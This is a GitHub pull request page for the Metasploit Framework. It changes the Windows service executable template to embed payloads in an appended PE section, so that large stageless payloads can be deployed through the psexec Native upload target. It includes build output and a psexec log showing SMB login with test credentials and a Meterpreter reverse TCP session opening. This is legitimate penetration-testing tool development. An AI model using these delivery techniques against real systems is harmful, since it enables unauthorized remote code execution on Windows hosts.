Skip to content

Update Windows service PE template for stageless payloads#21602

Merged
bwatters-r7 merged 5 commits into
rapid7:masterfrom
zeroSteiner:feat/mod/psexec-stageless
Jul 14, 2026
Merged

Update Windows service PE template for stageless payloads#21602
bwatters-r7 merged 5 commits into
rapid7:masterfrom
zeroSteiner:feat/mod/psexec-stageless

Conversation

@zeroSteiner

@zeroSteiner zeroSteiner commented Jun 24, 2026

Copy link
Copy Markdown
Contributor

Description

This updates the Windows service PE template to use an injected segment instead of the old substitution method. This means that the injected payload can (almost) be arbitrarily sized, enabling us to deploy stageless payloads in the context of services. By extension this means that a user can deploy a stageless payload (with upcoming malleable C2 capabilities) using the psexec module and the native upload target.

Segment Classes

The "Segment" classes have been renamed to be a bit more clear. Originally there was SegmentAppender < SegmentInjector and what SegmentAppender did was append the segment and hijack the entrypoint which is more simple than the injector which appended the segment then injected it into another process. Now SegmentAppender is the base class that does nothing more than append the segment, which is what the new service template needs. This class no longer has all of the extra logic related to what is done with the segment. SegmentInjector now inherits from SegmentAppender (the base class) and is functionally equivalent to what it used to be. The old SegmentAppender is now SegmentHijacker to clarify what it does with its segment.

Breaking Changes

Technically, service payloads are now using the new style. If a custom template was being used, the old PAYLOAD: marker has been replaced with a .payload section marker. Downstream custom templates would need to be updated to match. AFAIK this was never a documented contract and was only ever possibly used by those in-the-know that had deduced the requirements on the payload template by reviewing the code.

Reviewer Notes

Verification Steps

    • Start by building the new templates using the VS developer command prompt .\build_all.ps1 -Templates exe_service
    • Use PSexec and set the target to "Native Upload" then deploy a stageless payload (shows the exe-service path is working)
    • Use Psexec again and set the target to "Command" then deploy a fetch payload (shows the old exe path is still working)

Test Evidence

Build Output
PS Z:\Projects\metasploit-framework\data\templates\src\pe> .\build_all.ps1 -Templates exe_service

=== Configuring for x86 ===

Building: exe_service (x86)
Microsoft (R) C/C++ Optimizing Compiler Version 19.44.35215 for x86
Copyright (C) Microsoft Corporation.  All rights reserved.

template.c
Microsoft (R) Incremental Linker Version 14.44.35215.0
Copyright (C) Microsoft Corporation.  All rights reserved.

/out:template_x86_windows_svc.exe
advapi32.lib
kernel32.lib
/entry:main
/subsystem:WINDOWS
/NODEFAULTLIB
template.obj
  Patched OS and subsystem version to 4.0

=== Configuring for x64 ===

Building: exe_service (x64)
Microsoft (R) C/C++ Optimizing Compiler Version 19.44.35215 for x86
Copyright (C) Microsoft Corporation.  All rights reserved.

template.c
Microsoft (R) Incremental Linker Version 14.44.35215.0
Copyright (C) Microsoft Corporation.  All rights reserved.

/out:template_x64_windows_svc.exe
advapi32.lib
kernel32.lib
/entry:main
/subsystem:WINDOWS
/NODEFAULTLIB
template.obj
  Patched OS and subsystem version to 5.2

=== Cleaning up ===

=== Moving outputs to Z:\Projects\metasploit-framework\data\templates ===
  template_x64_windows_svc.exe
  template_x86_windows_svc.exe

Done.
PS Z:\Projects\metasploit-framework\data\templates\src\pe>
PSexec Stageless Output
 exploit(windows/smb/psexec) > show options 

Module options (exploit/windows/smb/psexec):

   Name                  Current Setting  Required  Description
   ----                  ---------------  --------  -----------
   SERVICE_DESCRIPTION                    no        Service description to be used on target for pretty listing
   SERVICE_DISPLAY_NAME                   no        The service display name
   SERVICE_NAME                           no        The service name
   SMBSHARE                               no        The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share


   Used when connecting via an existing SESSION:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   no        The session to run this module on


   Used when making a new connection via RHOSTS:

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   RHOSTS     192.168.159.10   no        The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      445              no        The target port (TCP)
   SMBDomain  .                no        The Windows domain to use for authentication
   SMBPass    Password1!       no        The password for the specified username
   SMBUser    smcintyre        no        The username to authenticate as


Payload options (windows/x64/meterpreter_reverse_tcp):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   EXITFUNC    thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   EXTENSIONS                   no        Comma-separate list of extensions to load
   EXTINIT                      no        Initialization strings for extensions
   LHOST       192.168.159.128  yes       The listen address (an interface may be specified)
   LPORT       4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   2   Native upload



View the full module info with the info, or info -d command.

msf exploit(windows/smb/psexec) > run
[*] Started reverse TCP handler on 192.168.159.128:4444 
[*] 192.168.159.10:445 - Connecting to the server...
[*] 192.168.159.10:445 - Authenticating to 192.168.159.10:445 as user 'smcintyre'...
[!] 192.168.159.10:445 - peer_native_os is only available with SMB1 (current version: SMB3)
[*] 192.168.159.10:445 - Uploading payload... PBBcIdul.exe
in .to_winpe_service
[*] 192.168.159.10:445 - Created \PBBcIdul.exe...
[+] 192.168.159.10:445 - Service started successfully...
[*] 192.168.159.10:445 - Deleting \PBBcIdul.exe...
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.10:49766) at 2026-06-24 14:14:28 -0400

meterpreter >

Environment

Field Details
Operating System Windows Server 2019 for PSexec target, Windows 11 w/VS2019 for Building
Ruby Version The one in .ruby-version
Target Software/Hardware Windows
Docker Image / Vagrant Setup N/A

AI Usage Disclosure

Used GPT-5.5 for some assistance

Pre-Submission Checklist

  • Ran rubocop on new files with no new offenses (net new files only)
  • Ran msftidy on changed module files with no new offenses (modules only)
  • Ran msftidy_docs on changed documentation files with no new offenses (documentation files only)
  • Included a corresponding documentation markdown file in documentation/modules (new modules only)
  • No sensitive information (IP addresses, credentials, API keys, hashes) in code or documentation
  • Tested on the target environment specified in the Environment section above
  • Included RSpec tests for library changes (encouraged for lib/ changes)
  • Read the CONTRIBUTING.md and module acceptance guidelines

@zeroSteiner
zeroSteiner marked this pull request as ready for review June 24, 2026 18:51

Copilot AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

This PR updates the Windows service PE template and supporting Ruby PE-section utilities to embed service payloads as an appended PE section (patched via a .payload tag), enabling much larger (stageless) payloads while keeping existing non-service EXE generation paths working.

Changes:

  • Add to_winpe_service flow that appends a dedicated payload section (readable data) and patches the template’s .payload tag (and optional service name).
  • Refactor/clarify PE section helpers: SegmentAppender becomes a base appender; introduce SegmentHijacker for entrypoint redirection; SegmentInjector now derives from the base appender.
  • Update the Windows service C template to locate payload bytes by section name at runtime, plus add/extend RSpec coverage and adjust psexec native upload payload space.

Impact Analysis:

  • Blast radius: medium–high; affects Windows EXE/service payload generation (Msf::Util::EXE), the windows/smb/psexec “Native upload” target, and any downstream callers relying on legacy EXE generation options.
  • Data and contract effects: changes the service template contract from PAYLOAD: marker substitution to a .payload section-name marker; also introduces/uses :section_name (but legacy :secname must remain supported).
  • Rollback and test focus: rollback is straightforward (revert template+generator changes), but validate: (1) service EXE generation with large stageless payloads, (2) SecName/:secname compatibility, (3) psexec native upload end-to-end, and (4) non-service EXE paths (exe, exe-small, command target) still behave as expected.

Reviewed changes

Copilot reviewed 12 out of 14 changed files in this pull request and generated 1 comment.

Show a summary per file
File Description
spec/lib/msf/util/exe/windows/common_spec.rb Adds coverage for service PE generation, large payload section, and section tag patching.
spec/lib/msf/core/exe/segment_injector_spec.rb Updates expectations for new inheritance/attributes and validates section name constraints/characteristics.
spec/lib/msf/core/exe/segment_hijacker_spec.rb Adds coverage for new hijacker behavior (entrypoint redirection + section naming).
spec/lib/msf/core/exe/segment_appender_spec.rb Adjusts tests to new base appender semantics (no entrypoint change) and validates naming/characteristics.
modules/exploits/windows/smb/psexec.rb Increases payload space for “Native upload” to allow large (stageless) service payloads.
lib/msf/util/exe/windows/x86.rb Switches to SegmentHijacker for entrypoint-redirection path and routes service generation through to_winpe_service.
lib/msf/util/exe/windows/x64.rb Same as x86: uses SegmentHijacker and updates service generation to to_winpe_service.
lib/msf/util/exe/windows/common.rb Introduces to_winpe_service that appends a payload section and patches .payload + optional service name.
lib/msf/core/exe/segment_injector.rb Refactors injector to inherit from base appender; keeps CreateThread stub injection behavior.
lib/msf/core/exe/segment_hijacker.rb New class implementing “append section + redirect entrypoint” behavior.
lib/msf/core/exe/segment_appender.rb Refactors into base “append section” implementation with section name validation and configurable characteristics.
data/templates/src/pe/exe_service/template.c Updates service template to discover payload by PE section name instead of fixed-size substitution buffer.

Comment thread lib/msf/util/exe/windows/common.rb Outdated
Co-authored-by: Copilot Autofix powered by AI <175728472+Copilot@users.noreply.github.com>
@smcintyre-r7 smcintyre-r7 moved this from Todo to Ready in Metasploit Kanban Jun 26, 2026
[ 'Native upload', { 'Arch' => [ARCH_X86, ARCH_X64] } ],
[ 'Native upload', { # upload a service executable
'Arch' => [ARCH_X86, ARCH_X64],
'Payload' => { 'Space' => 2 ** 30 } # service executables place the payload within a segment, 1GiB is a practical max in many cases

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

is this a new constraint or was it missing form before?

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The old limit was 3072 and shared with all of the targets since the limit was the CLI length. The native upload though can be an arbitrary size now with the new templates and segment injection technique that this PR introduces. Setting it to 1 GiB here means users that set the target to Native Upload can use stageless payloads.

@bwatters-r7 bwatters-r7 added this to the Version 6.5 milestone Jul 13, 2026
@bwatters-r7 bwatters-r7 self-assigned this Jul 14, 2026
@github-project-automation github-project-automation Bot moved this from Ready to In Progress in Metasploit Kanban Jul 14, 2026
@bwatters-r7
bwatters-r7 merged commit b1915aa into rapid7:master Jul 14, 2026
54 of 55 checks passed
@github-project-automation github-project-automation Bot moved this from In Progress to Done in Metasploit Kanban Jul 14, 2026
@bwatters-r7

Copy link
Copy Markdown
Contributor

Release Notes

Updates the Windows service PE template to use an injected segment instead of the old substitution method.

@cgranleese-r7 cgranleese-r7 added the rn-enhancement release notes enhancement label Jul 17, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

rn-enhancement release notes enhancement

Projects

Status: Done

Development

Successfully merging this pull request may close these issues.

6 participants